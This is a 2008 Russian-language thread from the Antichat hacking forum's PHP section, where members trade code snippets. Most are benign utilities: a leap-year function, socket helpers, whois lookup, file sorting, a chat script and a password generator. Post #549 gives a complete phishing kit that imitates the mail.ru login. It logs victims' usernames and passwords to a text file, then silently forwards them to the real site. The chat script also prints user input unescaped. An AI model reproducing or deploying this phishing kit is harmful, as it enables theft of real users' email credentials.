HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #541  
Старый 19.12.2008, 08:57
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию

Цитата:
Сообщение от Nono  
Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg
у тебя доступ к нему естЬ?
 
Ответить с цитированием

  #542  
Старый 19.12.2008, 11:00
biophreak
Постоянный
Регистрация: 03.08.2007
Сообщений: 367
Провел на форуме:
876216

Репутация: 209
По умолчанию

Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет...
На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно ))

Код:
CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$
my $year = shift;
if($year%100 == 0)
{
        if($year%400 == 0)
        {
                return 1
        }
        else
        {
                return 0
        }
} else {
        if($year%4 == 0)
        {
                return 1
        }
        else
        {
                return 0
        }
}
$$ LANGUAGE plperl;
Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать...

PS: Поправил на более читаемый вариант и без хаков с sprintf()

Последний раз редактировалось biophreak; 25.12.2008 в 19:54..
 
Ответить с цитированием

Задание для ROA
  #543  
Старый 19.12.2008, 18:20
kik8888
Познающий
Регистрация: 29.02.2008
Сообщений: 45
Провел на форуме:
162965

Репутация: 6
По умолчанию Задание для ROA

Задание для ROA
PHP код:
<?
set_time_limit
(0);

//функция для PHP-сокетов, после которой работа ведется аналогично fsockopen()
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socks4_open($server,$port,&$errno,&$errstr){
  if(!(
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
    
$errno=socket_last_error();
    
$errstr=socket_strerror($errno);
    return 
false;
  } else return 
$socket;
}

//функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socket_otvet($server,$port,$q,&$errno,&$errstr){
  if(!(
$socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
    
$errno=socket_last_error();
    
$errstr=socket_strerror($errno);
    return 
false;
  } else {
    
socket_write($socket,$q,strlen($q));
    while(
$otvet=socket_read($socket,1024)){
      
$otv.=$otvet;
    }
    
socket_close($socket);
    return 
$otv;
  }
}

//функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
function fsock_otvet($server,$port,$q,&$errno,&$errstr){
  if(!(
$fp=fsockopen($server,$port,$errno,$errstr,30))){
    return 
false;
  } else {
    
fputs($fp,$q);
    while(!
feof($fp)){
      
$otv.=fgets($fp,1024);
    }
    
fclose($fp);
    return 
$otv;
  }
}

//пример запроса
$q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";

//пример работы socks4_open()
$sock=socks4_open("mail.ru",80,$errno,$errstr);
  if(!
$sock){
    echo 
"$errstr ($errno)<br>\n";
  } else {
    
socket_write($sock,$q,strlen($q));
    while(
$otvet=socket_read($sock,1024)){
      
$otv.=$otvet;
    }
  }
socket_close($sock);
echo 
$otv;

//пример работы socket_otvet()
if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";

//пример работы fsock_otvet()
if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
?>
 
Ответить с цитированием

моментальный поиск по сортированному массиву структур
  #544  
Старый 19.12.2008, 21:31
big_BRAT
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме:
1292655

Репутация: 168
Отправить сообщение для big_BRAT с помощью ICQ
По умолчанию моментальный поиск по сортированному массиву структур

Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar

Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
 
Ответить с цитированием

  #545  
Старый 19.12.2008, 21:57
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от big_BRAT  
Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar

Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
Суть была в индексах
 
Ответить с цитированием

Функция Whois доменов по сектору .ru
  #546  
Старый 20.12.2008, 03:17
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Функция Whois доменов по сектору .ru

PHP код:
<?
Function whois($domen)
{
$result file('http://ip-whois.net/whois.php?whois='.$domen);
if (
preg_match('/match/',$result[70])) echo 'Not registered';
else for (
$i=52;$i<=64;$i++) echo $result[$i];
}
/*Пример вызова*/
whois('forum.antichat.ru');
?>
 
Ответить с цитированием

  #547  
Старый 21.12.2008, 19:22
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
Суть была в индексах
Даже не в них. А в самостоятельной реализации такого поиска.
Представим, что файл весит 20гб...
 
Ответить с цитированием

  #548  
Старый 22.12.2008, 11:32
rushter
Reservists Of Antichat - Level 6
Регистрация: 23.05.2008
Сообщений: 756
Провел на форуме:
9257858

Репутация: 979


Отправить сообщение для rushter с помощью ICQ
По умолчанию

Задание из ROA
https://forum.antichat.ru/showpost.php?p=990504&postcount=37
PHP код:
<?
$maxpages 
3;
$pagelines 3;
$lineend "\r\n";

function 
mas($n)
{
    global 
$pages$lineln$pagelines;
    
$p floor($n $pagelines);
    if (!isset(
$pages["p$p"]))
        
loadPage($p);
    return 
$pages["p$p"][$n $pagelines];
}

function 
setmas($n$value)
{
    global 
$pages$lineln$pagelines;
    
$p floor($n $pagelines);
    if (!isset(
$pages["p$p"]))
        
loadPage($p);
    
$pages["p$p"][$n $pagelines] = $value;
}

function 
loadPage($p)
{
    global 
$pages$lineln$pagelines$maxpages$sortfile$lineend;
    
fseek($sortfile$p $lineln $pagelines);
    
$data fread($sortfile$pagelines $lineln);
    
$pages["p$p"] = explode($lineendrtrim($data$lineend));
    if (
count($pages) > $maxpages)
        
flushPage();
}

function 
flushPage()
{
    global 
$pages$lineln$pagelines$maxpages$sortfile$lineend;
    
reset($pages);
    
$p intval(substr(key($pages), 1));
    
$data implode($lineendarray_shift($pages)) . $lineend;
    
fseek($sortfile$p $lineln $pagelines);
    
fwrite($sortfile$data);
}

function 
sortTypeFile($file)
{
    global 
$sortfile$sortlines$pages$lineln$lineend;
    
$pages = array();
    
$sortlines 1;
    
$sortfile fopen($file"r+b");
    
$lineln strlen(fgets($sortfile));
    
$n $lineln strlen($lineend);
    while (!
feof($sortfile))
    {
        if (
strlen(rtrim(fgets($sortfile), $lineend)) != $n)
            break;
        
$sortlines++;
    }
    
fseek($sortfile0);
    
$n 0;
    for (
$i 0$i $sortlines$i++)
    {
        
$min mas($i);
        
$cur $min;
        
$minpos $i;
        for (
$j $i 1$j $sortlines$j++)
        {
            
$a mas($j);
            if (
$a $min)
            {
                
$min $a;
                
$minpos $j;
            }
        }
        if (
$minpos != $i)
        {
            
setmas($minpos$cur);
            
setmas($i$min);
        }
    }
    while (
count($pages) > 0)
        
flushPage();
    
fclose($sortfile);
}

sortTypeFile("file.txt");
?>
 
Ответить с цитированием

Скелет фейка на mail.ru
  #549  
Старый 22.12.2008, 20:01
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию Скелет фейка на mail.ru

2 файла:

1. login.php (или хотите назовите его login.html)

PHP код:
<html
<
head
<
title></title
</
head
<
bоdу
<
div align="center"
<
form method="post" action='mail.ru.php'
<
table
<
tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr
<
tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr
</
table
<
input type="submit" name="submit" value="ok" /> 
</
form
</
div
</
bоdу
</
html
2. mail.ru.php

PHP код:
<?php 
$log
=$_POST['login'];
$pass=$_POST['pass'];
if (empty(
$log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
$file "mails.txt"
$f fopen($file"a"); 
fwrite($f"$log;$pass \r\n"); 
fclose($f); 
?>

<html> 
<head> 
</head> 
<body> 
<form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' > 
<input type="hidden" name='Login' value=<?php echo $log;?>
<input  type="hidden" name="Password"  value=<?php echo $pass;?>>
<input type='hidden' name='Domain' value='mail.ru'>
</form> 
<script language='javascript'> 
document.mail.submit();
</script> 
</body> 
</html>

Последний раз редактировалось Pashkela; 22.12.2008 в 20:05..
 
Ответить с цитированием

  #550  
Старый 22.12.2008, 21:29
Exlibris
Постоянный
Регистрация: 26.02.2007
Сообщений: 495
Провел на форуме:
3835614

Репутация: 1386
Отправить сообщение для Exlibris с помощью ICQ
По умолчанию

делать было нех написал 2 простеньких скрипта
чат (2 файла)
guest.php
PHP код:
<html>
<body>
<form action="guest.php" method="post" name="text" terget="_top">
<input type="text" align="top" name="text">
<input type="submit" value="чик">
<a href="unlink.php">clear</a>
</body>
</html>
<?php
$tmp_file 
"tmp.txt";
$time date("d:m:y::H:i:s");
$msg $_POST['text'];

if(!
file_exists($tmp_file))
{
    echo 
"файл истории недоступен";
}
else
{
    
$file fopen($tmp_file,"a+");
    echo 
$msg;
    
fwrite($file,$time." ".$msg."\n");
    
$s file($tmp_file);
    foreach (
$s as $k => $v)
    {
        
$i++;
        if(
$i == 0)
        {
            echo 
"<table align='center' width='50%'>";
            echo 
"<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
        }
        else
        {
            echo 
"<table align='center' width='50%'>";
            echo 
"<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
            
        }
    }    
}
fclose($file);
?>
unlink.php
PHP код:
<?php
$file 
"tmp.txt";
unlink($file);
fopen($file,"a+");
header("location:http://127.0.0.1/code/guest.php");
fclose($file);
?>
--
генератор паролей
PHP код:
<html>
<form action="pass_gen.php" name="len" method="post">
Длина пароля: <input type="text" name="len">
<input type="submit" value="go">
</html>

<?php
//символы
$a     "abcdefghijklmnopqrstuvwxyz";
$b     strtoupper($a);
$n     "0123456789";
$s     "!@#$%^&*()[]";
$all   $a.$b.$n.$s;

$lenght $_POST['len'];//длина пароля
echo "=".$lenght."<br>";
$radio $_POST['rad'];//вид пасса
echo $radio;
$count strlen($all);

if(
$lenght<=8)
{
    
$pass '';
    for(
$i=0;$i<$lenght;$i++)
    {
        
$pass .= substr($allrand(1,$count),1);
    }
    echo 
"pass:  ".$pass;
}
else 
{
    echo 
"парель не должен привышать 8 символов";
}
?>
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ